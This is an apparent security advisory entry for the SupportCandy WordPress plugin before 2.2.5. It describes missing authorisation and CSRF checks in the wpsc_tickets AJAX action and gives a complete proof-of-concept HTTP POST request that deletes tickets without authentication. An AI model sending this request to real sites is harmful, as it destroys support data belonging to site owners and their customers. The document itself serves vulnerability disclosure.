SupportCandy < 2.2.5 - Unauthenticated Arbitrary Ticket Deletion

2022-01-0500:00:00

Brandon Roldan

0.001 Low

EPSS

Percentile

41.6%

JSON

The plugin does not have authorisation and CRSF checks in its wpsc_tickets AJAX action, which could allow unauthenticated users to call it and delete arbitrary tickets via the set_delete_permanently_bulk_ticket setting_action. Other actions may be affected as well.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close

action=wpsc_tickets&setting_action=set_delete_permanently_bulk_ticket&ticket_id=3

0.001 Low

EPSS

Percentile

41.6%

JSON

Related for WPEX-ID:5E6E63C2-2675-4B8D-9B94-C16C525A1A0E